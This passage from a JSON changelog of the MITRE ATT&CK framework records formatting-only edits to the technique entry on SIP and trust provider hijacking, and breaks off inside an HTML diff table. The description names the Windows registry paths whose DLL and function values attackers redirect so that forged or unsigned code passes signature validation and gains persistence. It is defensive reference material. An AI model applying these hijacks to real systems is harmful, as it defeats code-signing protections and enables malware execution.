                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:57:27.686000+00:00\", \"old_value\": \"2026-05-12 15:12:00.633000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode(Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,(Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature.(Citation: SpectorOps Subverting Trust Sept 2017)\\n\\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs)(Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all)(Citation: Microsoft Catalog Files and Signatures April 2017) and are identified by globally unique identifiers (GUIDs).(Citation: SpectorOps Subverting Trust Sept 2017)\\n\\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by:(Citation: SpectorOps Subverting Trust Sept 2017)\\n\\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\\\SOFTWARE[\\\\WOW6432Node\\\\]Microsoft\\\\Cryptography\\\\OID\\\\EncodingType 0\\\\CryptSIPDllGetSignedDataMsg\\\\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP\\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP(Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\\\SOFTWARE\\\\[WOW6432Node\\\\]Microsoft\\\\Cryptography\\\\OID\\\\EncodingType 0\\\\CryptSIPDllVerifyIndirectData\\\\{SIP_GUID}</code> that point to the DLL providing a SIP\\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP(Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\\n* Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\\\\SOFTWARE\\\\[WOW6432Node\\\\]Microsoft\\\\Cryptography\\\\Providers\\\\Trust\\\\FinalPolicy\\\\{trust provider GUID}</code> that point to the DLL providing a trust provider\\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.\\n\\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation.(Citation: SpectorOps Subverting Trust Sept 2017)\", \"old_value\": \"Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,  (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\\n\\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all  (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\\n\\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\\n\\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\\\SOFTWARE[\\\\WOW6432Node\\\\]Microsoft\\\\Cryptography\\\\OID\\\\EncodingType 0\\\\CryptSIPDllGetSignedDataMsg\\\\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP\\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\\\SOFTWARE\\\\[WOW6432Node\\\\]Microsoft\\\\Cryptography\\\\OID\\\\EncodingType 0\\\\CryptSIPDllVerifyIndirectData\\\\{SIP_GUID}</code> that point to the DLL providing a SIP\\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\\n* Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\\\\SOFTWARE\\\\[WOW6432Node\\\\]Microsoft\\\\Cryptography\\\\Providers\\\\Trust\\\\FinalPolicy\\\\{trust provider GUID}</code> that point to the DLL providing a trust provider\\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.\\n\\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)\", \"diff\": \"--- \\n+++ \\n@@ -1,12 +1,12 @@\\n-Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,  (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\\n+Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode(Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,(Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature.(Citation: SpectorOps Subverting Trust Sept 2017)\\n \\n-Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all  (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\\n+Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs)(Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all)(Citation: Microsoft Catalog Files and Signatures April 2017) and are identified by globally unique identifiers (GUIDs).(Citation: SpectorOps Subverting Trust Sept 2017)\\n \\n-Similar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\\n+Similar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by:(Citation: SpectorOps Subverting Trust Sept 2017)\\n \\n-* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\\\SOFTWARE[\\\\WOW6432Node\\\\]Microsoft\\\\Cryptography\\\\OID\\\\EncodingType 0\\\\CryptSIPDllGetSignedDataMsg\\\\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP\\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\\n-* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\\\SOFTWARE\\\\[WOW6432Node\\\\]Microsoft\\\\Cryptography\\\\OID\\\\EncodingType 0\\\\CryptSIPDllVerifyIndirectData\\\\{SIP_GUID}</code> that point to the DLL providing a SIP\\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\\n+* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\\\SOFTWARE[\\\\WOW6432Node\\\\]Microsoft\\\\Cryptography\\\\OID\\\\EncodingType 0\\\\CryptSIPDllGetSignedDataMsg\\\\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP\\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP(Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\\n+* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\\\SOFTWARE\\\\[WOW6432Node\\\\]Microsoft\\\\Cryptography\\\\OID\\\\EncodingType 0\\\\CryptSIPDllVerifyIndirectData\\\\{SIP_GUID}</code> that point to the DLL providing a SIP\\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP(Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\\n * Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\\\\SOFTWARE\\\\[WOW6432Node\\\\]Microsoft\\\\Cryptography\\\\Providers\\\\Trust\\\\FinalPolicy\\\\{trust provider GUID}</code> that point to the DLL providing a trust provider\\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\\n * **Note:** The above hijacks are also possible without modifying the Registry via [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.\\n \\n-Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)\\n+Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation.(Citation: SpectorOps Subverting Trust Sept 2017)\"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to144__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to144__0\"><a href=\"#difflib_chg_to144__top\">t</a></td><td class=\"diff_header\" id=\"from144_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;tamper&nbsp;with&nbsp;SIP&nbsp;and&nbsp;trust&nbsp;provider&nbsp;component</td><td class=\"diff_next\"><a href=\"#difflib_chg_to144__top\">t</a></td><td class=\"diff_header\" id=\"to144_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;tamper&nbsp;with&nbsp;SIP&nbsp;and&nbsp;trust&nbsp;provider&nbsp;component</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;to&nbsp;mislead&nbsp;the&nbsp;operating&nbsp;system&nbsp;and&nbsp;application&nbsp;control&nbsp;to</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;to&nbsp;mislead&nbsp;the&nbsp;operating&nbsp;system&nbsp;and&nbsp;application&nbsp;control&nbsp;to</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ols&nbsp;when&nbsp;conducting&nbsp;signature&nbsp;validation&nbsp;checks.&nbsp;In&nbsp;user&nbsp;mod</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ols&nbsp;when&nbsp;conducting&nbsp;signature&nbsp;validation&nbsp;checks.&nbsp;In&nbsp;user&nbsp;mod</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e,&nbsp;Windows&nbsp;Authenticode<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Microsoft&nbsp;Authenticode)&nbsp;d</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e,&nbsp;Windows&nbsp;Authenticode(Citation:&nbsp;Microsoft&nbsp;Authenticode)&nbsp;di</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">igital&nbsp;signatures&nbsp;are&nbsp;used&nbsp;to&nbsp;verify&nbsp;a&nbsp;file's&nbsp;origin&nbsp;and&nbsp;int</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gital&nbsp;signatures&nbsp;are&nbsp;used&nbsp;to&nbsp;verify&nbsp;a&nbsp;file's&nbsp;origin&nbsp;and&nbsp;inte</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">egrity,&nbsp;variables&nbsp;that&nbsp;may&nbsp;be&nbsp;used&nbsp;to&nbsp;establish&nbsp;trust&nbsp;in&nbsp;sig</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">grity,&nbsp;variables&nbsp;that&nbsp;may&nbsp;be&nbsp;used&nbsp;to&nbsp;establish&nbsp;trust&nbsp;in&nbsp;sign</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ned&nbsp;code&nbsp;(ex:&nbsp;a&nbsp;driver&nbsp;with&nbsp;a&nbsp;valid&nbsp;Microsoft&nbsp;signature&nbsp;may&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;code&nbsp;(ex:&nbsp;a&nbsp;driver&nbsp;with&nbsp;a&nbsp;valid&nbsp;Microsoft&nbsp;signature&nbsp;may&nbsp;b</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">be&nbsp;handled&nbsp;as&nbsp;safe).&nbsp;The&nbsp;signature&nbsp;validation&nbsp;process&nbsp;is&nbsp;han</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;handled&nbsp;as&nbsp;safe).&nbsp;The&nbsp;signature&nbsp;validation&nbsp;process&nbsp;is&nbsp;hand</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dled&nbsp;via&nbsp;the&nbsp;WinVerifyTrust&nbsp;application&nbsp;programming&nbsp;interfac</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">led&nbsp;via&nbsp;the&nbsp;WinVerifyTrust&nbsp;application&nbsp;programming&nbsp;interface</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;(API)&nbsp;function,<span class=\"diff_sub\">&nbsp;&nbsp;</span>(Citation:&nbsp;Microsoft&nbsp;WinVerifyTrust)&nbsp;whic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;(API)&nbsp;function,(Citation:&nbsp;Microsoft&nbsp;WinVerifyTrust)&nbsp;which&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;accepts&nbsp;an&nbsp;inquiry&nbsp;and&nbsp;coordinates&nbsp;with&nbsp;the&nbsp;appropriate&nbsp;tr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ccepts&nbsp;an&nbsp;inquiry&nbsp;and&nbsp;coordinates&nbsp;with&nbsp;the&nbsp;appropriate&nbsp;trust</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ust&nbsp;provider,&nbsp;which&nbsp;is&nbsp;responsible&nbsp;for&nbsp;validating&nbsp;parameters</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;provider,&nbsp;which&nbsp;is&nbsp;responsible&nbsp;for&nbsp;validating&nbsp;parameters&nbsp;of</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;of&nbsp;a&nbsp;signature.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;SpectorOps&nbsp;Subverting&nbsp;Trust&nbsp;Sept</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;a&nbsp;signature.(Citation:&nbsp;SpectorOps&nbsp;Subverting&nbsp;Trust&nbsp;Sept&nbsp;201</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;2017)&nbsp;&nbsp;Because&nbsp;of&nbsp;the&nbsp;varying&nbsp;executable&nbsp;file&nbsp;types&nbsp;and&nbsp;cor</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">7)&nbsp;&nbsp;Because&nbsp;of&nbsp;the&nbsp;varying&nbsp;executable&nbsp;file&nbsp;types&nbsp;and&nbsp;corresp</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">responding&nbsp;signature&nbsp;formats,&nbsp;Microsoft&nbsp;created&nbsp;software&nbsp;com</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">onding&nbsp;signature&nbsp;formats,&nbsp;Microsoft&nbsp;created&nbsp;software&nbsp;compone</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ponents&nbsp;called&nbsp;Subject&nbsp;Interface&nbsp;Packages&nbsp;(SIPs)<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nts&nbsp;called&nbsp;Subject&nbsp;Interface&nbsp;Packages&nbsp;(SIPs)(Citation:&nbsp;Eduar</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">EduardosBlog&nbsp;SIPs&nbsp;July&nbsp;2008)&nbsp;to&nbsp;provide&nbsp;a&nbsp;layer&nbsp;of&nbsp;abstracti</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dosBlog&nbsp;SIPs&nbsp;July&nbsp;2008)&nbsp;to&nbsp;provide&nbsp;a&nbsp;layer&nbsp;of&nbsp;abstraction&nbsp;be</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;between&nbsp;API&nbsp;functions&nbsp;and&nbsp;files.&nbsp;SIPs&nbsp;are&nbsp;responsible&nbsp;for</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tween&nbsp;API&nbsp;functions&nbsp;and&nbsp;files.&nbsp;SIPs&nbsp;are&nbsp;responsible&nbsp;for&nbsp;enab</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;enabling&nbsp;API&nbsp;functions&nbsp;to&nbsp;create,&nbsp;retrieve,&nbsp;calculate,&nbsp;and&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ling&nbsp;API&nbsp;functions&nbsp;to&nbsp;create,&nbsp;retrieve,&nbsp;calculate,&nbsp;and&nbsp;verif</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">verify&nbsp;signatures.&nbsp;Unique&nbsp;SIPs&nbsp;exist&nbsp;for&nbsp;most&nbsp;file&nbsp;formats&nbsp;(</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;signatures.&nbsp;Unique&nbsp;SIPs&nbsp;exist&nbsp;for&nbsp;most&nbsp;file&nbsp;formats&nbsp;(Execu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Executable,&nbsp;PowerShell,&nbsp;Installer,&nbsp;etc.,&nbsp;with&nbsp;catalog&nbsp;signin</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">table,&nbsp;PowerShell,&nbsp;Installer,&nbsp;etc.,&nbsp;with&nbsp;catalog&nbsp;signing&nbsp;pro</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;providing&nbsp;a&nbsp;catch-all<span class=\"diff_chg\">&nbsp;&nbsp;</span>(Citation:&nbsp;Microsoft&nbsp;Catalog&nbsp;Files&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">viding&nbsp;a&nbsp;catch-all<span class=\"diff_chg\">)</span>(Citation:&nbsp;Microsoft&nbsp;Catalog&nbsp;Files&nbsp;and&nbsp;Si</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">and&nbsp;Signatures&nbsp;April&nbsp;2017)<span class=\"diff_chg\">)&nbsp;and&nbsp;are&nbsp;identified</span>&nbsp;by&nbsp;globally&nbsp;u</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gnatures&nbsp;April&nbsp;2017)<span class=\"diff_chg\">&nbsp;and&nbsp;are&nbsp;identified</span>&nbsp;by&nbsp;globally&nbsp;unique&nbsp;i</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nique&nbsp;identifiers&nbsp;(GUIDs).<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;SpectorOps&nbsp;Subverting&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dentifiers&nbsp;(GUIDs).(Citation:&nbsp;SpectorOps&nbsp;Subverting&nbsp;Trust&nbsp;Se</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Trust&nbsp;Sept&nbsp;2017)&nbsp;&nbsp;Similar&nbsp;to&nbsp;[Code&nbsp;Signing](https://attack.m</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pt&nbsp;2017)&nbsp;&nbsp;Similar&nbsp;to&nbsp;[Code&nbsp;Signing](https://attack.mitre.org</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itre.org/techniques/T1553/002),&nbsp;adversaries&nbsp;may&nbsp;abuse&nbsp;this&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/techniques/T1553/002),&nbsp;adversaries&nbsp;may&nbsp;abuse&nbsp;this&nbsp;architect</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rchitecture&nbsp;to&nbsp;subvert&nbsp;trust&nbsp;controls&nbsp;and&nbsp;bypass&nbsp;security&nbsp;po</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ure&nbsp;to&nbsp;subvert&nbsp;trust&nbsp;controls&nbsp;and&nbsp;bypass&nbsp;security&nbsp;policies&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">licies&nbsp;that&nbsp;allow&nbsp;only&nbsp;legitimately&nbsp;signed&nbsp;code&nbsp;to&nbsp;execute&nbsp;o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hat&nbsp;allow&nbsp;only&nbsp;legitimately&nbsp;signed&nbsp;code&nbsp;to&nbsp;execute&nbsp;on&nbsp;a&nbsp;syst</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;a&nbsp;system.&nbsp;Adversaries&nbsp;may&nbsp;hijack&nbsp;SIP&nbsp;and&nbsp;trust&nbsp;provider&nbsp;co</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">em.&nbsp;Adversaries&nbsp;may&nbsp;hijack&nbsp;SIP&nbsp;and&nbsp;trust&nbsp;provider&nbsp;components</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mponents&nbsp;to&nbsp;mislead&nbsp;operating&nbsp;system&nbsp;and&nbsp;application&nbsp;control</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;mislead&nbsp;operating&nbsp;system&nbsp;and&nbsp;application&nbsp;control&nbsp;tools&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;tools&nbsp;to&nbsp;classify&nbsp;malicious&nbsp;(or&nbsp;any)&nbsp;code&nbsp;as&nbsp;signed&nbsp;by:<span class=\"diff_sub\">&nbsp;</span>(Ci</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;classify&nbsp;malicious&nbsp;(or&nbsp;any)&nbsp;code&nbsp;as&nbsp;signed&nbsp;by:(Citation:&nbsp;S</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 